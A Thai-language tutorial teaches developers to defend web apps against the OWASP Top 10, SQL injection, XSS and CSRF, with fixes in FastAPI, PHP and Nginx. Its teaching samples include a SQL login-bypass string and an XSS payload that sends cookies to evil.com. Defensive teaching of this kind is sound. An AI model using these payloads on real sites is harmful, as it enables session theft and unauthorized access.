Web Security คืออะไร? สอนป้องกัน OWASP Top 10 XSS SQL Injection CSRF สำหรับ Developer 2026

Web Security คืออะไร? สอนป้องกัน OWASP Top 10 XSS SQL Injection CSRF สำหรับ Developer 2026

TECH SECURITY · 3500 คำ · อ่าน ~18 นาที

Web Security คืออะไร? ทำไมสำคัญสำหรับ Developer ทุกคน

Web Security (ความปลอดภัยเว็บ) คือกระบวนการปกป้องเว็บไซต์ แอปพลิเคชัน และ API จากภัยคุกคามทางไซเบอร์ ครอบคลุมตั้งแต่การป้องกันการเข้าถึงข้อมูลโดยไม่ได้รับอนุญาต การโจมตีแบบ Injection การขโมย Session ไปจนถึงการป้องกัน DDoS และ Data Breach ในยุค 2026 ที่แอปพลิเคชันเว็บเป็นหัวใจของธุรกิจ การเข้าใจ Web Security ไม่ใช่ทางเลือกอีกต่อไป แต่เป็นสิ่งจำเป็นสำหรับ Developer ทุกคน

ทำไม Web Security ถึงสำคัญ? เพราะการโจมตีทางไซเบอร์เพิ่มขึ้นอย่างต่อเนื่องทุกปี ข้อมูลจาก IBM Security รายงานว่าค่าเฉลี่ยความเสียหายจาก Data Breach ในปี 2025 สูงถึง 4.88 ล้านดอลลาร์สหรัฐต่อเหตุการณ์ การเข้าใจช่องโหว่และวิธีป้องกันจึงเป็นทักษะพื้นฐานที่ Developer ต้องมี ไม่ว่าคุณจะพัฒนาเว็บด้วย Python, Node.js, PHP หรือภาษาใดก็ตาม หลักการ Security จะเหมือนกัน

บทความนี้คุณจะได้เรียนรู้: OWASP Top 10 ทุกข้อพร้อมตัวอย่างโค้ด, การป้องกัน SQL Injection, XSS, CSRF, Authentication Best Practices, Security Headers, API Security และเครื่องมือทดสอบความปลอดภัย

OWASP Top 10 (2021) — ช่องโหว่ร้ายแรงที่สุด 10 อันดับ

OWASP (Open Worldwide Application Security Project) เป็นองค์กรไม่แสวงผลกำไรที่ทำงานด้านความปลอดภัยซอฟต์แวร์ โดย OWASP Top 10 คือรายการช่องโหว่ที่พบบ่อยและอันตรายที่สุดในเว็บแอปพลิเคชัน ซึ่ง Developer ทุกคนควรรู้จักและป้องกัน OWASP Top 10 ฉบับ 2021 ที่ยังคงใช้กันอย่างแพร่หลายในปี 2026 ประกอบด้วย:

อันดับช่องโหว่คำอธิบายสั้น
A01Broken Access Controlผู้ใช้เข้าถึงข้อมูล/ฟังก์ชันที่ไม่ควรเข้าถึงได้
A02Cryptographic Failuresการเข้ารหัสข้อมูลไม่เหมาะสมหรือไม่เข้ารหัสเลย
A03InjectionSQL, NoSQL, OS Command, LDAP Injection
A04Insecure Designการออกแบบระบบที่ไม่ปลอดภัยตั้งแต่ต้น
A05Security Misconfigurationตั้งค่าความปลอดภัยผิดพลาด/ไม่ครบ
A06Vulnerable Componentsใช้ Library/Framework ที่มีช่องโหว่
A07Auth Failuresระบบยืนยันตัวตนมีจุดอ่อน
A08Data Integrity Failuresไม่ตรวจสอบความถูกต้องของข้อมูล/โค้ด
A09Logging & Monitoring Failuresไม่บันทึก Log หรือไม่มีระบบแจ้งเตือน
A10SSRFServer-Side Request Forgery โจมตีจากฝั่ง Server

A01: Broken Access Control — ช่องโหว่อันดับ 1

Broken Access Control คือกรณีที่ผู้ใช้สามารถเข้าถึงข้อมูลหรือทำงานบางอย่างที่ไม่ควรเข้าถึงได้ ตัวอย่างเช่น ผู้ใช้ทั่วไปสามารถเข้าถึงหน้า Admin หรือแก้ไขข้อมูลของผู้ใช้คนอื่นได้ เป็นช่องโหว่ที่ขึ้นอันดับ 1 เพราะพบบ่อยมากและส่งผลกระทบรุนแรง การป้องกันต้อง Deny by Default ทุก Endpoint ต้องตรวจสอบสิทธิ์ก่อนอนุญาต ไม่ใช่แค่ซ่อนปุ่มบน UI แต่ต้องเช็คที่ Backend ด้วย

A02: Cryptographic Failures

ข้อมูลสำคัญเช่นรหัสผ่าน เลขบัตรเครดิต ข้อมูลส่วนตัว ต้องเข้ารหัสทั้งตอนเก็บ (at rest) และตอนส่ง (in transit) ใช้ Algorithm ที่ทันสมัย เช่น AES-256 สำหรับข้อมูล, bcrypt/Argon2 สำหรับรหัสผ่าน ห้ามใช้ MD5 หรือ SHA1 สำหรับ Hash รหัสผ่าน และต้องใช้ HTTPS ทุกหน้า

A04: Insecure Design

ช่องโหว่จากการออกแบบระบบที่ไม่คำนึงถึงความปลอดภัยตั้งแต่ต้น แม้โค้ดจะเขียนถูกต้อง แต่ถ้า Design ไม่ดี ก็ยังไม่ปลอดภัย การป้องกันคือใช้ Threat Modeling ตั้งแต่ขั้นตอนออกแบบ คิดว่า Attacker จะโจมตีอย่างไร และออกแบบระบบให้รับมือได้

A05: Security Misconfiguration

การตั้งค่าผิดพลาดเช่น เปิด Debug Mode บน Production, ใช้ Default Password, เปิด Port ที่ไม่จำเป็น, แสดง Error Message ที่มีข้อมูลมากเกินไป, ไม่ปิด Directory Listing เป็นช่องโหว่ที่ป้องกันได้ง่ายแต่มักถูกมองข้าม

A06: Vulnerable & Outdated Components

การใช้ Library, Framework หรือ Package ที่มีช่องโหว่ที่รู้จักแล้ว ป้องกันโดยอัปเดต Dependency สม่ำเสมอ ใช้เครื่องมืออย่าง npm audit, pip-audit, Dependabot, Snyk เพื่อสแกนช่องโหว่อัตโนมัติ ลบ Dependency ที่ไม่จำเป็นออก

A08: Software and Data Integrity Failures

เกี่ยวกับการไม่ตรวจสอบความถูกต้องของซอฟต์แวร์อัปเดต โค้ดจาก CI/CD Pipeline หรือข้อมูลที่ Deserialize ป้องกันโดยใช้ Digital Signatures ตรวจสอบ Integrity ของ Package, ใช้ SRI (Subresource Integrity) สำหรับ CDN, ไม่ Deserialize ข้อมูลจาก Untrusted Source

A09: Security Logging and Monitoring Failures

ถ้าไม่บันทึก Log ของเหตุการณ์สำคัญ เช่น Login ที่ล้มเหลว การเข้าถึงข้อมูลสำคัญ การเปลี่ยนแปลงสิทธิ์ จะไม่สามารถตรวจจับการโจมตีได้ทันเวลา ต้องมี Centralized Logging (ELK Stack, Grafana Loki) พร้อมระบบแจ้งเตือนแบบ Real-time

A10: Server-Side Request Forgery (SSRF)

SSRF เกิดขึ้นเมื่อ Attacker สามารถหลอกให้ Server ส่ง Request ไปยังทรัพยากรภายใน เช่น metadata endpoint ของ Cloud Provider (169.254.169.254) ป้องกันโดย Whitelist URL ที่อนุญาต, ใช้ Network Segmentation, ปิด Metadata Endpoint ที่ไม่จำเป็น

SQL Injection — ช่องโหว่คลาสสิกที่ยังอันตราย

SQL Injection เป็นช่องโหว่ที่ Attacker แทรก SQL Code เข้าไปใน Input ของแอปพลิเคชัน ทำให้สามารถอ่าน แก้ไข หรือลบข้อมูลในฐานข้อมูลได้ แม้จะเป็นช่องโหว่ที่รู้จักมานานหลายสิบปี แต่ยังคงพบได้ในแอปพลิเคชันจำนวนมาก โดยเฉพาะเว็บที่พัฒนาโดยไม่คำนึงถึงความปลอดภัย

ตัวอย่าง SQL Injection ที่อันตราย

# ❌ โค้ดที่มีช่องโหว่ SQL Injection
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)

# ถ้า Attacker ใส่ username: admin' OR '1'='1' --
# Query จะกลายเป็น:
# SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = ''
# ผลลัพธ์: เข้าสู่ระบบได้โดยไม่ต้องรู้รหัสผ่าน!

วิธีป้องกัน: Parameterized Query

# ✅ ใช้ Parameterized Query — ป้องกัน SQL Injection 100%
# Python + SQLite
cursor.execute(
    "SELECT * FROM users WHERE username = ? AND password = ?",
    (username, hashed_password)
)

# Python + PostgreSQL (psycopg2)
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, hashed_password)
)

# Python + SQLAlchemy ORM (แนะนำ)
user = session.query(User).filter_by(
    username=username
).first()
# FastAPI + SQLAlchemy — ตัวอย่างเต็ม
from fastapi import FastAPI, Depends, HTTPException
from sqlalchemy.orm import Session

@app.post("/login")
def login(credentials: LoginSchema, db: Session = Depends(get_db)):
    user = db.query(User).filter(
        User.username == credentials.username  # Safe: ORM handles parameterization
    ).first()
    if not user or not verify_password(credentials.password, user.hashed_password):
        raise HTTPException(status_code=401, detail="Invalid credentials")
    return {"access_token": create_token(user)}
กฎเหล็ก: ห้ามสร้าง SQL Query ด้วย String Concatenation หรือ f-string เด็ดขาด ใช้ Parameterized Query หรือ ORM เสมอ ไม่มีข้อยกเว้น

XSS (Cross-Site Scripting) — ขโมยข้อมูลผู้ใช้

XSS เกิดขึ้นเมื่อ Attacker สามารถแทรก JavaScript ที่เป็นอันตรายเข้าไปในหน้าเว็บ ทำให้โค้ดนั้นทำงานบน Browser ของผู้ใช้คนอื่น สามารถขโมย Cookie, Session Token, ข้อมูลส่วนตัว หรือเปลี่ยนเส้นทางไปหน้าเว็บปลอมได้ XSS แบ่งออกเป็น 3 ประเภทหลัก:

1. Reflected XSS

Payload อยู่ใน URL และถูก Reflect กลับมาแสดงบนหน้าเว็บทันที เช่น Search Page ที่แสดงคำค้นหาโดยไม่ Encode ผู้ใช้กดลิงก์ที่ Attacker สร้างขึ้นก็โดนโจมตี

<!-- ❌ ช่องโหว่ Reflected XSS -->
<p>ผลค้นหา: <?php echo $_GET['q']; ?></p>

<!-- Attacker ส่ง URL: ?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> -->

<!-- ✅ ป้องกัน: Encode Output -->
<p>ผลค้นหา: <?php echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); ?></p>

2. Stored XSS

Payload ถูกเก็บในฐานข้อมูล (เช่น Comment, Profile) และแสดงให้ผู้ใช้ทุกคนที่เข้ามาดู อันตรายกว่า Reflected XSS มาก เพราะไม่ต้องหลอกให้กดลิงก์ ทุกคนที่เปิดหน้านั้นจะโดนโจมตีอัตโนมัติ

3. DOM-based XSS

เกิดจากการจัดการ DOM ด้วย JavaScript โดยตรง โดยใช้ข้อมูลจาก URL หรือ Input โดยไม่ Sanitize เช่นการใช้ innerHTML กับข้อมูลที่ไม่ปลอดภัย

// ❌ DOM-based XSS
document.getElementById('output').innerHTML = location.hash.slice(1);

// ✅ ป้องกัน: ใช้ textContent แทน innerHTML
document.getElementById('output').textContent = location.hash.slice(1);

Content Security Policy (CSP) — ป้องกัน XSS ระดับ Browser

# CSP Header — จำกัด Source ของ Script ที่อนุญาต
Content-Security-Policy: default-src 'self';
    script-src 'self' https://cdn.trusted.com;
    style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
    img-src 'self' data: https:;
    font-src 'self' https://fonts.gstatic.com;
    connect-src 'self' https://api.example.com;
    frame-ancestors 'none';

# FastAPI — ตั้งค่า CSP
from fastapi import FastAPI
from fastapi.middleware.trustedhost import TrustedHostMiddleware

@app.middleware("http")
async def add_security_headers(request, call_next):
    response = await call_next(request)
    response.headers["Content-Security-Policy"] = "default-src 'self'; script-src 'self'"
    response.headers["X-Content-Type-Options"] = "nosniff"
    response.headers["X-Frame-Options"] = "DENY"
    return response

CSRF (Cross-Site Request Forgery) — หลอกให้ทำ Request

CSRF คือการโจมตีที่หลอกให้ Browser ของผู้ใช้ที่ Login อยู่แล้ว ส่ง Request ที่ไม่ต้องการ เช่น โอนเงิน เปลี่ยนรหัสผ่าน เปลี่ยนอีเมล โดย Attacker สร้างหน้าเว็บที่มี Form ซ่อนอยู่ พอผู้ใช้เปิดหน้านั้น Form จะ Submit อัตโนมัติไปยังเว็บเป้าหมาย

วิธีป้องกัน CSRF

# 1. CSRF Token — วิธีดั้งเดิมที่ยังใช้ได้ดี
# Server สร้าง Token สุ่มใส่ใน Form ทุก Form
# เมื่อ Submit ต้องส่ง Token กลับมาตรวจสอบ

# FastAPI + Jinja2 CSRF Token
import secrets
@app.get("/transfer")
def transfer_form(request: Request):
    csrf_token = secrets.token_urlsafe(32)
    request.session["csrf_token"] = csrf_token
    return templates.TemplateResponse("transfer.html", {
        "request": request, "csrf_token": csrf_token
    })

# 2. SameSite Cookie — วิธีสมัยใหม่ที่แนะนำ
# ตั้งค่า Cookie ไม่ให้ส่งข้าม Site
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

# Python Response
response.set_cookie(
    key="session_id",
    value=session_id,
    httponly=True,      # JavaScript เข้าถึงไม่ได้
    secure=True,        # ส่งเฉพาะ HTTPS
    samesite="strict"   # ไม่ส่งข้าม Site
)

Authentication Best Practices

ระบบยืนยันตัวตนที่ปลอดภัยเป็นรากฐานของ Web Security ทั้งหมด ถ้า Authentication อ่อนแอ ระบบอื่นที่สร้างมาจะไม่มีประโยชน์ นี่คือ Best Practices ที่ Developer ทุกคนควรปฏิบัติตาม:

Password Hashing ด้วย bcrypt

# ✅ Hash Password ด้วย bcrypt — ปลอดภัยที่สุดในปี 2026
import bcrypt

def hash_password(password: str) -> str:
    salt = bcrypt.gensalt(rounds=12)  # Cost factor 12 ขึ้นไป
    return bcrypt.hashpw(password.encode('utf-8'), salt).decode('utf-8')

def verify_password(password: str, hashed: str) -> bool:
    return bcrypt.checkpw(
        password.encode('utf-8'),
        hashed.encode('utf-8')
    )

# ❌ ห้ามทำ
# hashlib.md5(password.encode()).hexdigest()  # ❌ MD5
# hashlib.sha256(password.encode()).hexdigest()  # ❌ SHA256 ไม่มี Salt

JWT (JSON Web Token) สำหรับ API

import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key-at-least-256-bits"
ALGORITHM = "HS256"

def create_access_token(user_id: int, expires_minutes: int = 30):
    payload = {
        "sub": str(user_id),
        "exp": datetime.utcnow() + timedelta(minutes=expires_minutes),
        "iat": datetime.utcnow(),
        "type": "access"
    }
    return jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)

def verify_token(token: str):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGORITHM])
        return payload
    except jwt.ExpiredSignatureError:
        raise HTTPException(status_code=401, detail="Token expired")
    except jwt.InvalidTokenError:
        raise HTTPException(status_code=401, detail="Invalid token")

OAuth2 & Session Management

สำหรับแอปพลิเคชันที่ต้องการระบบ Login ที่ครอบคลุม ควรพิจารณาใช้ OAuth2 Provider เช่น Auth0, Firebase Auth หรือ Keycloak แทนการสร้างระบบ Authentication เอง สิ่งสำคัญคือต้อง Rotate Session Token เมื่อ Login สำเร็จ กำหนด Session Timeout ที่เหมาะสม ใช้ Refresh Token สำหรับ JWT ที่หมดอายุ และต้อง Invalidate Token เมื่อ Logout จริงๆ ไม่ใช่แค่ลบจาก Client

HTTPS/TLS — เข้ารหัสทุกการสื่อสาร

HTTPS เป็นสิ่งจำเป็นพื้นฐานในปี 2026 ไม่ใช่ตัวเลือกอีกต่อไป Google Chrome แสดงคำเตือน "Not Secure" สำหรับเว็บที่ไม่ใช้ HTTPS และ SEO ก็ให้คะแนนเว็บ HTTPS สูงกว่า การตั้งค่า HTTPS ทำได้ฟรีด้วย Let's Encrypt ซึ่งเป็น Certificate Authority ที่ออก SSL/TLS Certificate ฟรี

# ติดตั้ง Let's Encrypt ด้วย Certbot บน Ubuntu/Debian
sudo apt install certbot python3-certbot-nginx
sudo certbot --nginx -d yourdomain.com -d www.yourdomain.com

# Auto-renew (Certbot ตั้งค่าให้อัตโนมัติ)
sudo certbot renew --dry-run

# HSTS Header — บังคับใช้ HTTPS ตลอด
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# Nginx Config
server {
    listen 443 ssl http2;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    ssl_prefer_server_ciphers off;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
}

Security Headers — ป้องกันระดับ HTTP

Security Headers เป็นกลไกป้องกันที่ Browser รองรับ ช่วยลดความเสี่ยงจากการโจมตีหลายรูปแบบ Header ที่สำคัญที่ต้องตั้งค่ามีดังนี้:

Headerค่าแนะนำป้องกัน
Content-Security-Policydefault-src 'self'XSS, Data Injection
X-Frame-OptionsDENYClickjacking
X-Content-Type-OptionsnosniffMIME Sniffing
Referrer-Policystrict-origin-when-cross-originInformation Leakage
Permissions-Policycamera=(), microphone=()Feature Abuse
X-XSS-Protection0 (ปิด, ใช้ CSP แทน)Legacy XSS Filter
# Nginx — ตั้งค่า Security Headers ครบชุด
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;

# ตรวจสอบ Security Headers
# เข้า https://securityheaders.com แล้วใส่ URL เว็บ

API Security — ปกป้อง Backend

ในยุค 2026 ที่แอปพลิเคชันส่วนใหญ่เป็น API-driven (SPA + REST/GraphQL) ความปลอดภัยของ API จึงสำคัญมาก การป้องกัน API ต้องครอบคลุมหลายด้าน ตั้งแต่ Authentication, Authorization, Rate Limiting, Input Validation ไปจนถึง Logging

Rate Limiting — ป้องกัน Brute Force & DDoS

# FastAPI + slowapi — Rate Limiting
from slowapi import Limiter
from slowapi.util import get_remote_address

limiter = Limiter(key_func=get_remote_address)

@app.post("/api/login")
@limiter.limit("5/minute")  # Login: 5 ครั้งต่อนาที
async def login(request: Request, credentials: LoginSchema):
    # ... authentication logic
    pass

@app.get("/api/data")
@limiter.limit("100/minute")  # API ทั่วไป: 100 ครั้งต่อนาที
async def get_data(request: Request):
    # ... data logic
    pass

# Nginx Level Rate Limiting (แนะนำใช้ร่วมกัน)
# limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
# location /api/ { limit_req zone=api burst=20 nodelay; }

Input Validation — ตรวจสอบทุก Input

# FastAPI + Pydantic — Input Validation ที่แข็งแกร่ง
from pydantic import BaseModel, Field, EmailStr, validator
import re

class UserCreate(BaseModel):
    username: str = Field(..., min_length=3, max_length=30, pattern=r'^[a-zA-Z0-9_]+$')
    email: EmailStr
    password: str = Field(..., min_length=8, max_length=128)

    @validator('password')
    def password_strength(cls, v):
        if not re.search(r'[A-Z]', v):
            raise ValueError('ต้องมีตัวพิมพ์ใหญ่อย่างน้อย 1 ตัว')
        if not re.search(r'[0-9]', v):
            raise ValueError('ต้องมีตัวเลขอย่างน้อย 1 ตัว')
        if not re.search(r'[!@#$%^&*]', v):
            raise ValueError('ต้องมีอักขระพิเศษอย่างน้อย 1 ตัว')
        return v

class TransferRequest(BaseModel):
    to_account: str = Field(..., pattern=r'^\d{10}$')
    amount: float = Field(..., gt=0, le=1000000)
    note: str = Field(default="", max_length=200)

API Key Management

สำหรับ API ที่ให้บริการภายนอก ต้องมีระบบ API Key ที่รัดกุม ใช้ Key ที่ยาวพอ (256-bit ขึ้นไป) มีระบบ Rotate Key ได้ กำหนดสิทธิ์ต่อ Key (Scope) บันทึก Log การใช้งานทุกครั้ง และกำหนดอายุของ Key ไม่ใช่ใช้ได้ตลอดชีพ

Security Testing — ทดสอบก่อน Hacker ทดสอบให้

การทดสอบความปลอดภัยเป็นขั้นตอนสำคัญที่ไม่ควรข้าม ทดสอบก่อน Deploy ทุกครั้ง และทำ Penetration Testing เป็นระยะ เครื่องมือที่แนะนำมีดังนี้:

OWASP ZAP — ฟรีและทรงพลัง

OWASP ZAP (Zed Attack Proxy) เป็นเครื่องมือ Security Testing ฟรีจาก OWASP สามารถ Scan ช่องโหว่อัตโนมัติ ทำ Active/Passive Scan, Spider เว็บ ทดสอบ XSS, SQL Injection, CSRF และช่องโหว่อื่นๆ ได้ สามารถรวมเข้า CI/CD Pipeline เพื่อ Scan ทุกครั้งที่ Deploy ได้ด้วย

Burp Suite — เครื่องมือระดับ Pro

Burp Suite เป็นเครื่องมือทดสอบ Web Security ที่ได้รับความนิยมสูงสุด มี Community Edition (ฟรี) และ Professional Edition (มีค่าใช้จ่าย) ใช้เป็น Proxy ดักจับ Request/Response วิเคราะห์การสื่อสาร แก้ไข Request และทดสอบช่องโหว่ได้อย่างละเอียด

SonarQube — Static Analysis

SonarQube วิเคราะห์โค้ดแบบ Static ตรวจจับช่องโหว่ Security, Code Smell, Bug ได้ตั้งแต่ขั้นตอนเขียนโค้ด รวมเข้า CI/CD Pipeline ได้ รองรับหลายภาษา ช่วยให้ตรวจจับปัญหาก่อนถึง Production

# รวม Security Testing เข้า CI/CD
# GitHub Actions Example
name: Security Scan
on: [push, pull_request]
jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # Dependency Vulnerability Scan
      - name: pip-audit
        run: |
          pip install pip-audit
          pip-audit --requirement requirements.txt

      # SAST with Bandit (Python)
      - name: Bandit
        run: |
          pip install bandit
          bandit -r src/ -f json -o bandit-report.json

      # OWASP ZAP Scan
      - name: ZAP Scan
        uses: zaproxy/action-full-scan@v0.10.0
        with:
          target: 'https://staging.example.com'

ข้อผิดพลาดที่พบบ่อยด้าน Web Security

FAQ — คำถามที่พบบ่อย

Q: เริ่มต้นเรียน Web Security ควรเริ่มจากอะไร?

A: เริ่มจากเข้าใจ OWASP Top 10 ก่อน จากนั้นลองฝึกแฮ็คจริงบนแพลตฟอร์ม เช่น OWASP WebGoat, HackTheBox, TryHackMe จะเข้าใจช่องโหว่จากมุมมอง Attacker ทำให้ป้องกันได้ดีขึ้น

Q: Framework เช่น Django, Rails ป้องกัน SQL Injection ให้อัตโนมัติจริงหรือ?

A: ใช่ ORM ของ Framework สมัยใหม่ ใช้ Parameterized Query เป็น Default แต่ต้องระวังเมื่อเขียน Raw SQL เอง ต้องใช้ Parameterized Query เสมอ อย่า Bypass ORM โดยไม่จำเป็น

Q: JWT กับ Session-based Auth อันไหนปลอดภัยกว่า?

A: ทั้งสองมีข้อดีข้อเสีย JWT เหมาะกับ Stateless API, Microservices ส่วน Session-based เหมาะกับ Traditional Web App ที่มี Server เดียว สำคัญคือต้อง Implement ให้ถูกต้อง ไม่ว่าจะเลือกแบบไหน

Q: ทำ Security Testing ควรทำบ่อยแค่ไหน?

A: SAST (Static Analysis) ควรทำทุกครั้งที่ Push Code ส่วน DAST (Dynamic Analysis) ทำก่อน Deploy ทุก Release และ Penetration Testing โดยผู้เชี่ยวชาญทำอย่างน้อยปีละ 1-2 ครั้ง สำหรับ Dependency Scanning ใช้ Dependabot สแกนอัตโนมัติทุกวัน

Q: HTTPS ช้ากว่า HTTP มากไหม?

A: ในปี 2026 แทบไม่มีผลกระทบ TLS 1.3 ลด Handshake เหลือ 1 Round-trip HTTP/2 และ HTTP/3 ทำงานบน TLS เท่านั้น จึงเร็วกว่า HTTP/1.1 ด้วยซ้ำ ไม่มีเหตุผลใดๆ ที่จะไม่ใช้ HTTPS